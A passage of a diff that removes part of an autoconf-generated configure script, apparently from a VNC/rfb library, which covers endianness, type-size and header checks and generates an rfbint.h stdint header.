-main ()
-{
-
- /* Are we little or big endian? From Harbison&Steele. */
- union
- {
- long int l;
- char c[sizeof (long int)];
- } u;
- u.l = 1;
- return u.c[sizeof (long int) - 1] == 1;
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_c_bigendian=no
-else
- ac_cv_c_bigendian=yes
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
- fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_bigendian" >&5
-$as_echo "$ac_cv_c_bigendian" >&6; }
- case $ac_cv_c_bigendian in #(
- yes)
- $as_echo "@%:@define WORDS_BIGENDIAN 1" >>confdefs.h
-;; #(
- no)
- ;; #(
- universal)
-
-$as_echo "@%:@define AC_APPLE_UNIVERSAL_BUILD 1" >>confdefs.h
-
- ;; #(
- *)
- as_fn_error $? "unknown endianness
- presetting ac_cv_c_bigendian=no (or yes) will help" "$LINENO" 5 ;;
- esac
-
-ac_fn_c_check_type "$LINENO" "size_t" "ac_cv_type_size_t" "$ac_includes_default"
-if test "x$ac_cv_type_size_t" = xyes; then :
-
-else
-
-cat >>confdefs.h <<_ACEOF
-@%:@define size_t unsigned int
-_ACEOF
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether time.h and sys/time.h may both be included" >&5
-$as_echo_n "checking whether time.h and sys/time.h may both be included... " >&6; }
-if ${ac_cv_header_time+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <sys/time.h>
-#include <time.h>
-
-int
-main ()
-{
-if ((struct tm *) 0)
-return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_time=yes
-else
- ac_cv_header_time=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_time" >&5
-$as_echo "$ac_cv_header_time" >&6; }
-if test $ac_cv_header_time = yes; then
-
-$as_echo "@%:@define TIME_WITH_SYS_TIME 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sys/wait.h that is POSIX.1 compatible" >&5
-$as_echo_n "checking for sys/wait.h that is POSIX.1 compatible... " >&6; }
-if ${ac_cv_header_sys_wait_h+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <sys/wait.h>
-#ifndef WEXITSTATUS
-# define WEXITSTATUS(stat_val) ((unsigned int) (stat_val) >> 8)
-#endif
-#ifndef WIFEXITED
-# define WIFEXITED(stat_val) (((stat_val) & 255) == 0)
-#endif
-
-int
-main ()
-{
- int s;
- wait (&s);
- s = WIFEXITED (s) ? WEXITSTATUS (s) : 1;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_sys_wait_h=yes
-else
- ac_cv_header_sys_wait_h=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_sys_wait_h" >&5
-$as_echo "$ac_cv_header_sys_wait_h" >&6; }
-if test $ac_cv_header_sys_wait_h = yes; then
-
-$as_echo "@%:@define HAVE_SYS_WAIT_H 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for socklen_t" >&5
-$as_echo_n "checking for socklen_t... " >&6; }
-if ${ac_cv_type_socklen_t+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/socket.h>
-int
-main ()
-{
-socklen_t len = 42; return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_type_socklen_t=yes
-else
- ac_cv_type_socklen_t=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_type_socklen_t" >&5
-$as_echo "$ac_cv_type_socklen_t" >&6; }
- if test $ac_cv_type_socklen_t != yes; then
- $as_echo "@%:@define socklen_t int" >>confdefs.h
-
- fi
-
-if test ! -d ./rfb; then
- echo "creating subdir ./rfb for rfbint.h"
- mkdir ./rfb
-fi
-# ------ AC CREATE STDINT H -------------------------------------
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for stdint-types...." >&5
-$as_echo_n "checking for stdint-types....... " >&6; }
-ac_stdint_h=`echo rfb/rfbint.h`
-if test "$ac_stdint_h" = "stdint.h" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(are you sure you want them in ./stdint.h?)\"" >&5
-$as_echo "\"(are you sure you want them in ./stdint.h?)\"" >&6; }
-elif test "$ac_stdint_h" = "inttypes.h" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(are you sure you want them in ./inttypes.h?)\"" >&5
-$as_echo "\"(are you sure you want them in ./inttypes.h?)\"" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(putting them into $ac_stdint_h)\"" >&5
-$as_echo "\"(putting them into $ac_stdint_h)\"" >&6; }
-fi
-
-inttype_headers=`echo inttypes.h sys/inttypes.h sys/inttypes.h \
-| sed -e 's/,/ /g'`
-
- ac_cv_header_stdint_x="no-file"
- ac_cv_header_stdint_o="no-file"
- ac_cv_header_stdint_u="no-file"
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uintptr_t
- unset ac_cv_type_uint64_t
- ac_fn_c_check_type "$LINENO" "uintptr_t" "ac_cv_type_uintptr_t" "#include <$i>
-"
-if test "x$ac_cv_type_uintptr_t" = xyes; then :
- ac_cv_header_stdint_x=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(uint64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our uintptr_t in $i $and64" >&5
-$as_echo "... seen our uintptr_t in $i $and64" >&6; }
- break;
- done
- if test "$ac_cv_header_stdint_x" = "no-file" ; then
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uint32_t
- unset ac_cv_type_uint64_t
- ac_fn_c_check_type "$LINENO" "uint32_t" "ac_cv_type_uint32_t" "#include <$i>
-"
-if test "x$ac_cv_type_uint32_t" = xyes; then :
- ac_cv_header_stdint_o=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(uint64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our uint32_t in $i $and64" >&5
-$as_echo "... seen our uint32_t in $i $and64" >&6; }
- break;
- done
- if test "$ac_cv_header_stdint_o" = "no-file" ; then
- for i in sys/types.h $inttype_headers ; do
- unset ac_cv_type_u_int32_t
- unset ac_cv_type_u_int64_t
- ac_fn_c_check_type "$LINENO" "u_int32_t" "ac_cv_type_u_int32_t" "#include <$i>
-"
-if test "x$ac_cv_type_u_int32_t" = xyes; then :
- ac_cv_header_stdint_u=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(u_int64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our u_int32_t in $i $and64" >&5
-$as_echo "... seen our u_int32_t in $i $and64" >&6; }
- break;
- done
- fi
- fi
-
-# ----------------- DONE inttypes.h checks MAYBE C basic types --------
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of char" >&5
-$as_echo_n "checking size of char... " >&6; }
-if ${ac_cv_sizeof_char+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (char) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_char=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_char != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_char = x ; then
- as_fn_error $? "cannot determine a size for char" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_char" >&5
-$as_echo "$ac_cv_sizeof_char" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_CHAR $ac_cv_sizeof_char
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of short" >&5
-$as_echo_n "checking size of short... " >&6; }
-if ${ac_cv_sizeof_short+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (short) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_short=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_short != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_short = x ; then
- as_fn_error $? "cannot determine a size for short" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_short" >&5
-$as_echo "$ac_cv_sizeof_short" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_SHORT $ac_cv_sizeof_short
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of int" >&5
-$as_echo_n "checking size of int... " >&6; }
-if ${ac_cv_sizeof_int+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (int) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_int=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_int != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_int = x ; then
- as_fn_error $? "cannot determine a size for int" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_int" >&5
-$as_echo "$ac_cv_sizeof_int" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_INT $ac_cv_sizeof_int
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of long" >&5
-$as_echo_n "checking size of long... " >&6; }
-if ${ac_cv_sizeof_long+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (long) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_long=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_long != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_long = x ; then
- as_fn_error $? "cannot determine a size for long" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_long" >&5
-$as_echo "$ac_cv_sizeof_long" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_LONG $ac_cv_sizeof_long
-_ACEOF
-
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking size of void*" >&5
-$as_echo_n "checking size of void*... " >&6; }
-if ${ac_cv_sizeof_voidp+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- for ac_size in 4 8 1 2 16 ; do # List sizes in rough order of prevalence.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include "confdefs.h"
-#include <sys/types.h>
-
-
-int
-main ()
-{
-switch (0) case 0: case (sizeof (void*) == $ac_size):;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_sizeof_voidp=$ac_size
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test x$ac_cv_sizeof_voidp != x ; then break; fi
-done
-
-fi
-
-if test x$ac_cv_sizeof_voidp = x ; then
- as_fn_error $? "cannot determine a size for void*" "$LINENO" 5
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_voidp" >&5
-$as_echo "$ac_cv_sizeof_voidp" >&6; }
-
-cat >>confdefs.h <<_ACEOF
-@%:@define SIZEOF_VOIDP $ac_cv_sizeof_voidp
-_ACEOF
-
-
- ac_cv_header_stdint_test="yes"
-else
- ac_cv_header_stdint_test="no"
-fi
-
-# ----------------- DONE inttypes.h checks START header -------------
-_ac_stdint_h=`$as_echo "_$ac_stdint_h" | $as_tr_cpp`
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: creating $ac_stdint_h : $_ac_stdint_h" >&5
-$as_echo "creating $ac_stdint_h : $_ac_stdint_h" >&6; }
-echo "#ifndef" $_ac_stdint_h >$ac_stdint_h
-echo "#define" $_ac_stdint_h "1" >>$ac_stdint_h
-echo "#ifndef" _GENERATED_STDINT_H >>$ac_stdint_h
-echo "#define" _GENERATED_STDINT_H '"'$PACKAGE $VERSION'"' >>$ac_stdint_h
-if test "$GCC" = "yes" ; then
- echo "/* generated using a gnu compiler version" `$CC --version` "*/" \
- >>$ac_stdint_h
-else
- echo "/* generated using $CC */" >>$ac_stdint_h
-fi
-echo "" >>$ac_stdint_h
-
-if test "$ac_cv_header_stdint_x" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_x"
-elif test "$ac_cv_header_stdint_o" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_o"
-elif test "$ac_cv_header_stdint_u" != "no-file" ; then
- ac_cv_header_stdint="$ac_cv_header_stdint_u"
-else
- ac_cv_header_stdint="stddef.h"
-fi
-
-# ----------------- See if int_least and int_fast types are present
-unset ac_cv_type_int_least32_t
-unset ac_cv_type_int_fast32_t
-ac_fn_c_check_type "$LINENO" "int_least32_t" "ac_cv_type_int_least32_t" "#include <$ac_cv_header_stdint>
-"
-if test "x$ac_cv_type_int_least32_t" = xyes; then :
-
-fi
-
-ac_fn_c_check_type "$LINENO" "int_fast32_t" "ac_cv_type_int_fast32_t" "#include<$ac_cv_header_stdint>
-"
-if test "x$ac_cv_type_int_fast32_t" = xyes; then :
-
-fi
-
-
-if test "$ac_cv_header_stdint" != "stddef.h" ; then
-if test "$ac_cv_header_stdint" != "stdint.h" ; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding include stddef.h" >&5
-$as_echo "..adding include stddef.h" >&6; }
- echo "#include <stddef.h>" >>$ac_stdint_h
-fi ; fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding include $ac_cv_header_stdint" >&5
-$as_echo "..adding include $ac_cv_header_stdint" >&6; }
- echo "#include <$ac_cv_header_stdint>" >>$ac_stdint_h
-echo "" >>$ac_stdint_h
-
-# ----------------- DONE header START basic int types -------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... need to look at C basic types" >&5
-$as_echo "... need to look at C basic types" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen good stdint.h inttypes" >&5
-$as_echo "... seen good stdint.h inttypes" >&6; }
-fi
-
-if test "$ac_cv_header_stdint_u" != "no-file" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen bsd/sysv typedefs" >&5
-$as_echo "... seen bsd/sysv typedefs" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* int8_t int16_t int32_t defined by inet code, redeclare the u_intXX types */
-typedef u_int8_t uint8_t;
-typedef u_int16_t uint16_t;
-typedef u_int32_t uint32_t;
-EOF
- cat >>$ac_stdint_h <<EOF
-
-/* glibc compatibility */
-#ifndef __int8_t_defined
-#define __int8_t_defined
-#endif
-EOF
-fi
-
-ac_cv_sizeof_x="$ac_cv_sizeof_char:$ac_cv_sizeof_short"
-ac_cv_sizeof_X="$ac_cv_sizeof_x:$ac_cv_sizeof_int"
-ac_cv_sizeof_X="$ac_cv_sizeof_X:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long"
-if test "$ac_cv_header_stdint" = "stddef.h" ; then
-# we must guess all the basic types. Apart from byte-adressable system,
-# there a few 32-bit-only dsp-systems. nibble-addressable systems are way off.
- cat >>$ac_stdint_h <<EOF
-/* ------------ BITSPECIFIC INTTYPES SECTION --------------- */
-EOF
- t="typedefs for a"
- case "$ac_cv_sizeof_X" in
- 1:2:2:2:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 16-bit system" >&5
-$as_echo "..adding $t normal 16-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a normal 16-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned long uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef long int32_t;
-#endif
-EOF
-;;
- 1:2:2:4:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 32-bit system derived from a 16-bit" >&5
-$as_echo "..adding $t 32-bit system derived from a 16-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a 32-bit system derived from a 16-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 32-bit system" >&5
-$as_echo "..adding $t normal 32-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-/* a normal 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:4:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 32-bit system prepared for 64-bit" >&5
-$as_echo "..adding $t 32-bit system prepared for 64-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a 32-bit system prepared for 64-bit */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t normal 64-bit system" >&5
-$as_echo "..adding $t normal 64-bit system" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a normal 64-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- 1:2:4:8:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding $t 64-bit system derived from a 32-bit" >&5
-$as_echo "..adding $t 64-bit system derived from a 32-bit" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* a 64-bit system derived from a 32-bit system */
-typedef unsigned char uint8_t;
-typedef unsigned short uint16_t;
-typedef unsigned int uint32_t;
-#ifndef __int8_t_defined
-#define __int8_t_defined
-typedef char int8_t;
-typedef short int16_t;
-typedef int int32_t;
-#endif
-EOF
-;;
- *)
- as_fn_error $? " $ac_cv_sizeof_X what is that a system? contact the author, quick! http://ac-archive.sf.net" "$LINENO" 5
- exit 1
-;;
- esac
-fi
-
-# ------------- DONE basic int types START int64_t types ------------
-if test "$ac_cv_type_uint64_t" = "yes"
-then { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen good uint64_t" >&5
-$as_echo "... seen good uint64_t" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have good uint64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-#endif
-EOF
-
-elif test "$ac_cv_type_u_int64_t" = "yes"
-then { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding typedef u_int64_t uint64_t" >&5
-$as_echo "..adding typedef u_int64_t uint64_t" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* system headers have an u_int64_t */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef u_int64_t uint64_t;
-#endif
-EOF
-else { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic uint64_t runtime checks" >&5
-$as_echo "..adding generic uint64_t runtime checks" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------- 64 BIT GENERIC SECTION -------------------- */
-/* here are some common heuristics using compiler runtime specifics */
-#if defined __STDC_VERSION__ && defined __STDC_VERSION__ > 199901L
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-
-#elif !defined __STRICT_ANSI__
-#if defined _MSC_VER || defined __WATCOMC__ || defined __BORLANDC__
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef __int64 int64_t;
-typedef unsigned __int64 uint64_t;
-#endif
-
-#elif defined __GNUC__ || defined __MWERKS__ || defined __ELF__
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-#endif
-
-#elif defined __alpha || (defined __mips && defined _ABIN32)
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-#endif
- /* compiler/cpu type ... or just ISO C99 */
-#endif
-#endif
-EOF
-
-# plus a default 64-bit for systems that are likely to be 64-bit ready
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long" in
- 1:2:8:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen normal 64-bit system, CC has sizeof(long and void*) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:4:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 32-bit system prepared for 64-bit, CC has sizeof(long) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:8:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 64-bit derived from a 32-bit, CC has sizeof(long) == 4 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-EOF
-;;
- *)
-cat >>$ac_stdint_h <<EOF
-/* NOTE: */
-/* the configure-checks for the basic types did not make us believe */
-/* that we could add a fallback to a 'long long' typedef to int64_t */
-EOF
- esac
-fi
-
-# ------------- DONE int64_t types START intptr types ------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------------- INPTR SECTION --------------------------- */
-EOF
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp" in
- 1:2:2)
- a="int16_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 2 chars, hence we declare it 16-bit */
-
-typedef uint16_t uintptr_t;
-typedef int16_t intptr_t;
-EOF
-;;
- 1:2:4)
- a="int32_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 4 chars, hence we declare it 32-bit */
-
-typedef uint32_t uintptr_t;
-typedef int32_t intptr_t;
-EOF
-;;
- 1:2:8)
- a="int64_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 8 chars, hence we declare it 64-bit */
-
-typedef uint64_t uintptr_t;
-typedef int64_t intptr_t;
-EOF
-;;
- *)
- a="long" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) but got no guess, hence we declare it as if long */
-
-typedef unsigned long uintptr_t;
-typedef long intptr_t;
-EOF
-;;
- esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding typedef $a intptr_t" >&5
-$as_echo "..adding typedef $a intptr_t" >&6; }
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_least32_t" = "no"; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic int_least-types" >&5
-$as_echo "..adding generic int_least-types" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_LEAST ------------------ */
-
-typedef int8_t int_least8_t;
-typedef int16_t int_least16_t;
-typedef int32_t int_least32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_least64_t;
-#endif
-
-typedef uint8_t uint_least8_t;
-typedef uint16_t uint_least16_t;
-typedef uint32_t uint_least32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_least64_t;
-#endif
-EOF
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_fast32_t" = "no"; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic int_fast-types" >&5
-$as_echo "..adding generic int_fast-types" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_FAST ------------------ */
-
-typedef int8_t int_fast8_t;
-typedef int32_t int_fast16_t;
-typedef int32_t int_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_fast64_t;
-#endif
-
-typedef uint8_t uint_fast8_t;
-typedef uint32_t uint_fast16_t;
-typedef uint32_t uint_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_fast64_t;
-#endif
-EOF
-fi
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-#ifdef _HAVE_INT64_T
-typedef int64_t intmax_t;
-typedef uint64_t uintmax_t;
-#else
-typedef long int intmax_t;
-typedef unsigned long uintmax_t;
-#endif
-EOF
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ... DONE $ac_stdint_h" >&5
-$as_echo "... DONE $ac_stdint_h" >&6; }
- cat >>$ac_stdint_h <<EOF
-
- /* once */
-#endif
-#endif
-EOF
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for in_addr_t" >&5
-$as_echo_n "checking for in_addr_t... " >&6; }
-if ${vnc_cv_inaddrt+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <netinet/in.h>
-int
-main ()
-{
-in_addr_t foo; return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- inaddrt=yes
-else
- inaddrt=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext,
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $vnc_cv_inaddrt" >&5
-$as_echo "$vnc_cv_inaddrt" >&6; }
-
-if test $inaddrt = no ; then
- $as_echo "@%:@define NEED_INADDR_T 1" >>confdefs.h
-
-fi
-# Checks for library functions.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for working memcmp" >&5
-$as_echo_n "checking for working memcmp... " >&6; }
-if ${ac_cv_func_memcmp_working+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_memcmp_working=no
-else
